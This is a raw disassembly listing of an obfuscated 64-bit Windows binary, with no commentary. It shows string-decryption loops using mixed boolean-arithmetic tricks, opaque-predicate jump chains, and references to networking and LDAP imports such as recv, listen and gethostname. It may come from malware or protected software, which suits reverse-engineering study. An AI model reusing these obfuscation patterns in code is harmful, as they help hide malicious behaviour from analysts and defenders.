mov dword [rbp - 0x5c], 0xa7b6af70
mov dword [rbp - 0x58], 0x916abc60
mov byte [rbp - 0x54], 0x9c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x53], xmm0
mov dword [rbp - 0x43], eax
mov word [rbp - 0x3f], ax
movzx r11d, byte [rbp + 0x190]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [0x140220a80]
mov r8, qword [0x140220a78]
nop
xor ebx, ebx
movabs rcx, 0x6d854408af45d440
cmp rbx, 0x33
jae 0x1401106ae
movzx r10d, byte [rbp + rbx - 0x70]
mov rdi, r10
nop
cmp r9, rbx
ja 0x1401106a5
lea rax, [r8 + 1]
cmp r9, rax
jae 0x14010fd6b
add rcx, rbx
mov rax, r10
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, r10
add r11, rcx
add r11b, 0x40
jmp 0x14010fda0
je 0x14011062f
lea rax, [r8 + 2]
cmp r9, rax
je 0x1401105ae
lea rax, [r8 + 3]
cmp r9, rax
je 0x140110571
lea rax, [r8 + 4]
cmp r9, rax
je 0x140110549
nop dword [rax + rax]
cmp r8, rbx
ja 0x14011069c
lea rax, [r8 + 9]
cmp r9, rax
jae 0x14010fdce
lea edx, [rbx + 0x40]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14010fe02
lea rax, [r8 + 1]
cmp r9, rax
je 0x140110503
lea rax, [r8 + 3]
cmp r9, rax
je 0x1401104bd
lea rax, [r8 + 5]
cmp r9, rax
je 0x14011049f
lea rax, [r8 + 2]
cmp r9, rax
je 0x140110395
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1401101cf
nop
lea rax, [r8 + 0x200]
cmp r9, rax
je 0x1401101ae
lea rax, [r8 + 8]
cmp r9, rax
je 0x1401102e5
lea rax, [r8 + 0x7a]
cmp r9, rax
je 0x14011018a
lea rax, [r8 + 0x28]
cmp r9, rax
je 0x1401102be
lea rax, [r8 + 2]
cmp r9, rax
je 0x140110294
lea rax, [r8 + 9]
cmp r9, rax
je 0x140110176
lea rax, [r8 + 0x41]
cmp r9, rax
je 0x14011026a
lea rax, [r8 + 0x40]
cmp r9, rax
je 0x14011015f
lea rax, [r8 + 3]
cmp r9, rax
je 0x140110235
lea rax, [r8 + 0x3e8]
cmp r9, rax
je 0x14010fe10
lea r9, [r8 + 0x61]
lea r8, [r9 + 9]
lea rax, [r8 + 0x20]
cmp r9, rax
jb 0x140110681
lea rax, [r8 + 1]
cmp r9, rax
jb 0x140110662
lea rax, [r8 + 0x80]
cmp r9, rax
jb 0x14010fffe
lea rax, [r8 + 6]
cmp r9, rax
jb 0x14010ffdf
lea rax, [r8 + 0x61]
cmp r9, rax
jb 0x14010ffc1
lea rax, [r8 + 2]
cmp r9, rax
jb 0x1401101d8
lea rax, [r8 + 0x200]
cmp r9, rax
jb 0x140110111
lea rax, [r8 + 8]
cmp r9, rax
jb 0x1401100cc
lea rax, [r8 + 0x7a]
cmp r9, rax
jb 0x1401100a9
lea rax, [r8 + 0x28]
cmp r9, rax
jb 0x14010fe10
lea r9, [r8 + 0x64]
lea r8, [r9 + 2]
lea rax, [r8 + 5]
cmp r9, rax
ja 0x1401103b5
lea rax, [r8 + 0x1000]
cmp r9, rax
ja 0x1401103df
lea rax, [r8 + 0x10]
cmp r9, rax
ja 0x140110409
lea rax, [r8 + 0x2a]
cmp r9, rax
ja 0x14011008b
lea rax, [r8 + 0x64]
cmp r9, rax
ja 0x140110429
lea rax, [r8 + 0x61]
cmp r9, rax
ja 0x140110067
lea rax, [r8 + 0x20]
cmp r9, rax
ja 0x14011044d
lea rax, [r8 + 1]
cmp r9, rax
ja 0x140110040
lea rax, [r8 + 0x80]
cmp r9, rax
ja 0x140110026
lea rax, [r8 + 6]
cmp r9, rax
ja 0x14010fe10
lea r9, [r8 + 0xa]
lea r8, [r9 + 0x61]
jmp 0x14010fe10
lea edx, [rbx - 0x40]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x40
add r11b, dl
jmp 0x14010fe02
lea edx, [rbx + 0x40]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14010fda0
lea edx, [rbx - 0x40]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x40
add r11b, dl
movabs rcx, 0x6d854408af45d440
jmp 0x14010fd3c
movzx ecx, r10b
and cl, bl
add cl, cl
movzx r11d, r10b
sub r11b, cl
add r11b, bl
movzx edi, bl
jmp 0x14011051f
lea ecx, [rbx + 0x80]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x80
inc r8
dec rbx
inc rbx
jmp 0x14010fd22
lea edx, [rbx + 0x80]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x80
add r11b, dl
movzx edi, bl
jmp 0x1401104da
lea ecx, [rbx + 0x80]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x80
jmp 0x140110595
lea ecx, [rbx - 0x40]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x40
mov byte [rbp + rbx - 0x70], r11b
inc rbx
jmp 0x14010fd22
lea edx, [rbx + 0x40]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
cmp r8, 0x80
jb 0x1401100bf
movzx edi, bl
lea edx, [rdi + 0x80]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x14011051f
lea edx, [rbx - 0x40]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x40
add r11b, dl
cmp r9, 0x7a
jae 0x140110467
lea rax, [r8 + 0x2a]
cmp r9, rax
jbe 0x1401103ac
lea edx, [rbx + 0x80]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x80
add r11b, dl
jmp 0x1401100e6
movzx ecx, r10b
and cl, bl
add cl, cl
movzx r11d, r10b
sub r11b, cl
add r11b, bl
jmp 0x1401105f9
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
jmp 0x140110595
lea ecx, [rbx + 0x80]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x80
dec rbx
inc rbx
jmp 0x14010fd22
movzx edi, bl
lea edx, [rdi + 0x80]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x80
jmp 0x14011051c
lea rax, [r8 + 0x5a]
cmp r9, rax
jae 0x14011022c
lea edx, [rbx + 0x40]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
lea rax, [r8 + r9]
cmp rax, 3
je 0x140110483
lea rax, [r8 + 6]
cmp r9, rax
jbe 0x140110302
lea edx, [rbx + 0x40]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14011012a
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140110261
lea ecx, [rbx + 0x80]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x80
movzx eax, byte [rbp + rbx - 0x70]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14010fd22
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14011028b
lea edx, [rbx + 0x80]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x80
add r11b, dl
jmp 0x1401105d3
lea rax, [r8 + 4]
cmp r9, rax
jne 0x1401102b5
lea ecx, [rbx + 0x80]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x80
add r9, r8
jmp 0x140110595
lea rax, [r8 + 5]
cmp r9, rax
jne 0x1401102d8
movzx edi, bl
movzx ecx, r10b
and cl, bl
add cl, cl
movzx r11d, r10b
sub r11b, cl
add r11b, bl
jmp 0x1401104da
lea rax, [r8 + 2]
cmp r9, rax
jne 0x1401101f2
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
inc r8
dec rbx
inc rbx
jmp 0x14010fd22
lea rax, [r8 + 1]
cmp r9, rax
je 0x140110503
lea rax, [r8 + 2]
cmp r9, rax
jne 0x140110339
lea ecx, [rbx - 0x40]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x40
dec rbx
inc rbx
jmp 0x14010fd22
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140110360
lea ecx, [rbx - 0x40]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x40
add r9, r8
jmp 0x140110595
lea rax, [r8 + 5]
cmp r9, rax
jne 0x140110388
lea edx, [rbx + 0x40]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140110595
lea rax, [r8 + 9]
cmp r9, rax
jne 0x14011012a
lea ecx, [rbx - 0x40]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
jmp 0x14011064b
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1401103d7
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
movzx eax, byte [rbp + rbx - 0x70]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14010fd22
inc rax
cmp r9, rax
jne 0x140110400
lea edx, [rbx + 0x80]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x80
add r11b, dl
jmp 0x1401105f9
lea rax, [r8 + 2]
cmp r9, rax
jne 0x140110420
movzx ecx, r10b
and cl, bl
add cl, cl
movzx r11d, r10b
sub r11b, cl
add r11b, bl
jmp 0x1401105d3
lea rax, [r8 + 4]
cmp r9, rax
jne 0x140110440
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
add r9, r8
jmp 0x140110595
lea rax, [r8 + 7]
cmp r9, rax
jne 0x1401100e6
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
dec rbx
inc rbx
jmp 0x14010fd22
movzx edi, bl
movzx eax, r10b
and al, bl
add al, al
movzx r11d, byte [rbp + rbx - 0x70]
sub r11b, al
add r11b, r10b
add r11b, bl
jmp 0x1401104da
lea ecx, [rbx + 0x80]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [rcx + 0x80]
jmp 0x1401105d3
lea edx, [rbx - 0x40]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x40
add r11b, dl
jmp 0x1401105d3
movzx edi, bl
lea edx, [rdi + 0x40]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add dil, 0x40
movzx eax, dil
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
add cl, cl
add cl, dil
add cl, r10b
add cl, r11b
mov byte [rbp + rbx - 0x70], cl
add r9, r8
jmp 0x140110595
movzx edi, bl
lea edx, [rdi - 0x40]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x40
add r11b, dl
sub dil, 0x40
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
sub r10b, 0x40
add r10b, dil
mov byte [rbp + rbx - 0x70], r10b
inc r8
dec rbx
inc rbx
jmp 0x14010fd22
lea edx, [rbx + 0x40]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r8
dec rbx
inc rbx
jmp 0x14010fd22
movabs rdx, 0xd9af644e29747640
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dil
add r11b, dl
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14010fd22
movabs rcx, 0xfea4dc3ccae8cdc0
add rcx, rbx
movzx r10d, dil
and dil, cl
add dil, dil
movzx r11d, r10b
sub r11b, dil
sub r11b, 0x40
add r11b, cl
lea edx, [rbx - 0x40]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x40
add cl, dl
movzx eax, cl
mov byte [rbp + rbx - 0x70], al
inc r8
add rax, r8
sub rbx, rax
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
add r10b, bl
mov byte [rbp + rbx - 0x70], r10b
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx - 0x70]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14010fd22
movabs rcx, 0x488fcc1a0dd17cc0
add rcx, rbx
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r11d, [rcx + rdi]
sub r11b, 0x40
movzx eax, byte [rbp + rbx - 0x70]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14010fd22
add bl, 0x40
movzx eax, bl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, r10b
jmp 0x14010fd1e
sub bl, 0x40
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x40
jmp 0x14010fd02
lea rdx, [rbp + 0x16a9a90]
jmp 0x1401106b2
lea rdx, [rbp + 0x1306ed0]
jmp 0x1401106b2
lea rdx, [rbp - 0x70]
mov r8d, r15d
mov rcx, qword [0x140220750]
call fcn.14011e880
mov rax, qword [rbp + 0x1e8]
mov r8d, dword [rax + 0x54]
mov rdx, r14
lea rcx, [rbp + 0x191]
call fcn.140053a30
call fcn.14010b440
test al, al
jne 0x14011135f
mov dword [rsp + 0x40], 0xede3171d
mov dword [rsp + 0x44], 0x1ba8e2e6
mov dword [rsp + 0x48], 0x2117ad1f
mov dword [rsp + 0x4c], 0xd3d720de
mov dword [rsp + 0x50], 0xd422d196
mov dword [rsp + 0x54], 0xed2ed220
mov dword [rsp + 0x58], 0xc49cefec
mov dword [rsp + 0x5c], 0xcf80cdce
mov dword [rsp + 0x60], 0xc7c037c1
mov dword [rsp + 0x64], 0xca883cc1
mov dword [rsp + 0x68], 0xb8393cc2
mov dword [rsp + 0x6c], 0xd7de90b6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
mov word [rbp - 0x80], ax
mov byte [rbp - 0x7e], al
movabs rsi, 0x6b436bca376a4115
movabs r15, 0xeed7f28783e7c793
movabs r14, 0x41ca435ea63ec33f
movzx ebx, byte [rbp + 0x190]
nop
mov r9, qword [0x140220a80]
mov rax, qword [0x140220a78]
nop
xor r11d, r11d
cmp r11, 0x43
jae 0x140111355
movzx r10d, byte [rsp + r11 + 0x40]
mov r8, r10
cmp r9, r11
ja 0x140111349
lea rcx, [rax + 1]
cmp r9, rcx
jae 0x1401107d1
lea rdx, [r11 + rsi]
mov rcx, rdx
and rcx, r10
imul rbx, rcx, 0xfffffffffffffffe
add rbx, rdx
add rbx, r10
add bl, 0x6d
jmp 0x140110810
je 0x1401112db
lea rcx, [rax + 2]
cmp r9, rcx
je 0x140111258
lea rcx, [rax + 3]
cmp r9, rcx
je 0x140111206
lea rcx, [rax + 5]
cmp r9, rcx
je 0x1401111e6
lea rcx, [rax + 8]
cmp r9, rcx
je 0x1401111a4
nop dword [rax + rax]
cmp rax, r11
ja 0x14011133d
lea rcx, [rax + 0x41]
cmp r9, rcx
jae 0x140110839
lea edx, [r11 - 0x47]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0xf
jmp 0x140110870
lea rcx, [rax + 1]
cmp r9, rcx
je 0x14011118a
lea rcx, [rax + 2]
cmp r9, rcx
je 0x14011116a
lea rcx, [rax + 5]
cmp r9, rcx
je 0x140111150
lea rcx, [rax + 3]
cmp r9, rcx
je 0x140111127
nop dword [rax]
lea rcx, [r9 + rax]
cmp rcx, r11
jbe 0x140110dc8
nop dword [rax]
lea rcx, [rax + 0x61]
cmp r9, rcx
je 0x140110dab
lea rcx, [rax + 0x2a]
cmp r9, rcx
je 0x140110d88
lea rcx, [rax + 4]
cmp r9, rcx
je 0x140110d68
lea rcx, [rax + 9]
cmp r9, rcx
je 0x140110d44
lea rcx, [rax + 0x28]
cmp r9, rcx
je 0x140110d24
lea rcx, [rax + 8]
cmp r9, rcx
je 0x140110d04
lea rcx, [rax + 0x20]
cmp r9, rcx
je 0x140110cea
lea rcx, [rax + 0x64]
cmp r9, rcx
je 0x140110cd0
lea rcx, [rax + 0x400]
cmp r9, rcx
je 0x140110ca7
lea rcx, [rax + 0x41]
cmp r9, rcx
je 0x140110880
lea r9, [rax + 9]
lea rax, [r9 + 2]
lea rcx, [rax + 0x28]
cmp r9, rcx
jb 0x140111321
lea rcx, [rax + 0x80]
cmp r9, rcx
jb 0x140111305
lea rcx, [rax + 0x1000]
cmp r9, rcx
jb 0x140110a65
lea rcx, [rax + 0x64]
cmp r9, rcx
jb 0x140110a4b
lea rcx, [rax + 0x400]
cmp r9, rcx
jb 0x140110a31
lea rcx, [rax + 0x41]
cmp r9, rcx
jb 0x140110c60
lea rcx, [rax + 2]
cmp r9, rcx
jb 0x140110c18
lea rcx, [rax + 6]
cmp r9, rcx
jb 0x140110bd3
lea rcx, [rax + 0x10]
cmp r9, rcx
jb 0x140110bb0
lea rcx, [rax + 0x42]
cmp r9, rcx
jb 0x140110880
lea r9, [rax + 0x5a]
lea rax, [r9 + 0xa]
lea rcx, [rax + 3]
cmp r9, rcx
ja 0x140110b86
lea rcx, [rax + 8]
cmp r9, rcx
ja 0x140110b68
lea rcx, [rax + 2]
cmp r9, rcx
ja 0x140110b48
lea rcx, [rax + 6]
cmp r9, rcx
ja 0x140110b28
lea rcx, [rax + 0x10]
cmp r9, rcx
ja 0x140110b08
lea rcx, [rax + 0x42]
cmp r9, rcx
ja 0x140110ae6
lea rcx, [rax + 0x3e8]
cmp r9, rcx
ja 0x140110ac5
lea rcx, [rax + 0x7a]
cmp r9, rcx
ja 0x140110aa1
lea rcx, [rax + 0x200]
cmp r9, rcx
ja 0x140110a7f
lea rcx, [rax + 0x61]
cmp r9, rcx
ja 0x140110880
lea r9, [rax + 0x64]
lea rax, [r9 + 0x2a]
jmp 0x140110880
lea edx, [r11 + 0x67]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
add bl, 0x2f
jmp 0x140110870
lea edx, [r11 + 0x3d]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
add bl, 0x55
jmp 0x140110810
lea edx, [r11 + 0x13]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
add bl, 0x7b
jmp 0x1401107a3
lea r8d, [r11 - 0x38]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
sub bl, 0x78
add bl, r8b
movzx edi, r11b
jmp 0x1401111bc
lea edx, [r11 - 0x62]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea ebx, [rdx + r10]
sub bl, 0x52
inc rax
dec r11
inc r11
jmp 0x140110793
lea edx, [r11 + 0x74]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea ebx, [rdx + r10]
sub bl, 0x2c
dec r11
inc r11
jmp 0x140110793
lea r8d, [r11 + 0x4a]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
sub bl, 6
add bl, r8b
movzx edi, r11b
jmp 0x14011121e
lea r8d, [r11 + 0x20]
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WS2_32.dll_recv
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r8b
jmp 0x14011123d
lea r8d, [r11 - 0xa]
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_35
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r8b
jmp 0x140111240
lea r8d, [r11 - 0x34]
movzx ecx, r10b
and cl, r8b
mov edx, gethostname
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r8b
jmp 0x140111272
lea r8d, [r11 - 0x5e]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
sub bl, 0x6e
add bl, r8b
jmp 0x14011129c
lea edx, [r11 + 0x78]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea ebx, [rdx + r10]
sub bl, 0x48
movzx ecx, byte [rsp + r11 + 0x40]
add rcx, rax
add r11, rcx
inc r11
jmp 0x140110793
lea edx, [r11 + 0xf]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea ebx, [rdx + r10]
sub bl, 0x69
mov byte [rsp + r11 + 0x40], bl
inc r11
jmp 0x140110793
lea r8d, [r11 - 0x1b]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
sub bl, 0x43
add bl, r8b
cmp rax, 0x42
jb 0x140110bc6
movzx edi, r11b
lea r8d, [rdi + 0x5e]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx edx, r10b
sub dl, cl
add dl, r8b
lea ebx, [rdx*2 - 0x24]
jmp 0x1401111bc
lea r8d, [r11 - 0x45]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
sub bl, 0x1d
add bl, r8b
cmp r9, 0x41
jae 0x1401110e5
lea rcx, [rax + 9]
cmp r9, rcx
jbe 0x140110fae
lea r8d, [r11 - 0x46]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
sub bl, 0x16
jmp 0x140110be9
lea edx, [r11 - 0x6f]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
add bl, 9
lea rcx, [r9 + rax]
cmp rcx, 8
je 0x14011110a
lea rcx, [rax + 1]
cmp r9, rcx
jbe 0x140110ebe
lea edx, [r11 + 1]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 7
jmp 0x140110c31
lea edx, [r11 + 0x56]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x5a
movzx ecx, byte [rsp + r11 + 0x40]
add rcx, rax
add r11, rcx
inc r11
jmp 0x140110793
lea edx, [r11 + 0x2c]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x34
jmp 0x14011129c
lea edx, [r11 + 2]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0xe
jmp 0x140111272
lea r8d, [r11 - 0x28]
movzx ecx, r8b
and cl, r10b
mov edx, listen
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r10b
jmp 0x140111240
lea r8d, [r11 - 0x52]
movzx ecx, r8b
and cl, r10b
mov edx, Ordinal_33
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r10b
jmp 0x14011123d
movzx edi, r11b
lea r8d, [rdi - 0x7c]
movzx ecx, r8b
and cl, r10b
mov edx, reloc.WLDAP32.dll_Ordinal_50
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r10b
jmp 0x14011121e
lea edx, [r11 + 0x5a]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x76
dec r11
inc r11
jmp 0x140110793
lea edx, [r11 + 0x30]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x50
inc rax
dec r11
inc r11
jmp 0x140110793
movzx edi, r11b
lea edx, [rdi + 6]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x2a
jmp 0x1401111bc
lea rcx, [rax + 0x1000]
cmp r9, rcx
jae 0x140110dee
lea edx, [r11 + 0x15]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
add bl, 0x6d
jmp 0x140110c75
lea rcx, [rax + 1]
cmp r9, rcx
jne 0x140110e20
lea edx, [r11 + 0x72]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x1e
movzx ecx, byte [rsp + r11 + 0x40]
add rcx, rax
add r11, rcx
inc r11
jmp 0x140110793
inc rcx
cmp r9, rcx
jne 0x140110e42
lea edx, [r11 - 0x3a]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x6a
jmp 0x140111272
lea rcx, [rax + 3]
cmp r9, rcx
jne 0x140110e6b
lea r8d, [r11 + 0x1a]
movzx ecx, r8b
and cl, r10b
mov edx, Ordinal_41
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r10b
jmp 0x14011123d
lea rcx, [rax + 5]
cmp r9, rcx
jne 0x140110e94
lea edx, [r11 + 0x6e]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 2
dec r11
inc r11
jmp 0x140110793
lea rcx, [rax + 4]
cmp r9, rcx
jne 0x140110c75
movzx edi, r11b
lea edx, [rdi - 0x3e]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x4e
jmp 0x1401111bc
jne 0x140110edd
movzx edi, r11b
lea edx, [rdi + 0x2b]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x2d
jmp 0x1401111bc
inc rcx
cmp r9, rcx
jne 0x140110f05
lea edx, [r11 + 0x7f]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea ebx, [r10 + rdx]
sub bl, 0x79
dec r11
inc r11
jmp 0x140110793
lea rcx, [rax + 3]
cmp r9, rcx
jne 0x140110f29
lea edx, [r11 - 3]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea ebx, [rdx + r10]
add bl, 0x15
jmp 0x140111240
lea rcx, [rax + 2]
cmp r9, rcx
jne 0x140110f50
lea r8d, [r11 + 0x27]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
sub bl, 0x11
add bl, r8b
jmp 0x140111272
lea rcx, [rax + 5]
cmp r9, rcx
jne 0x140110f77
lea r8d, [r11 + 0x51]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx ebx, r10b
sub bl, cl
sub bl, 0x37
add bl, r8b
jmp 0x14011129c
lea rcx, [rax + 8]
cmp r9, rcx
jne 0x140110c31
lea edx, [r11 + 0x7b]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea ebx, [rdx + r10]
sub bl, 0x5d
movzx ecx, byte [rsp + r11 + 0x40]
add rcx, rax
add r11, rcx
inc r11
jmp 0x140110793
lea rcx, [rax + 1]
cmp r9, rcx
jne 0x140110fe1
lea edx, [r11 - 0x1c]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea ebx, [rdx + r10]
sub bl, 0x3c
movzx ecx, byte [rsp + r11 + 0x40]
add rcx, rax
add r11, rcx
inc r11
jmp 0x140110793
lea rcx, [rax + 2]
cmp r9, rcx
jne 0x14011100a
lea r8d, [r11 + 0x38]
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_60
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r8b
jmp 0x140111272
lea rcx, [rax + 3]
cmp r9, rcx
jne 0x140111033
lea r8d, [r11 + 0x62]
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_41
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r8b
jmp 0x140111240
lea rcx, [rax + 4]
cmp r9, rcx
jne 0x14011105c
lea r8d, [r11 - 0x74]
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_22
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r8b
jmp 0x14011123d
lea rcx, [rax + 6]
cmp r9, rcx
jne 0x140111089
movzx edi, r11b
lea r8d, [rdi - 0x4a]
movzx ecx, r10b
and cl, r8b
mov edx, 3
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r8b
jmp 0x14011121e
lea rcx, [rax + 7]
cmp r9, rcx
jne 0x1401110b6
lea edx, [r11 + 0xa]
movzx ecx, r10b
and cl, dl
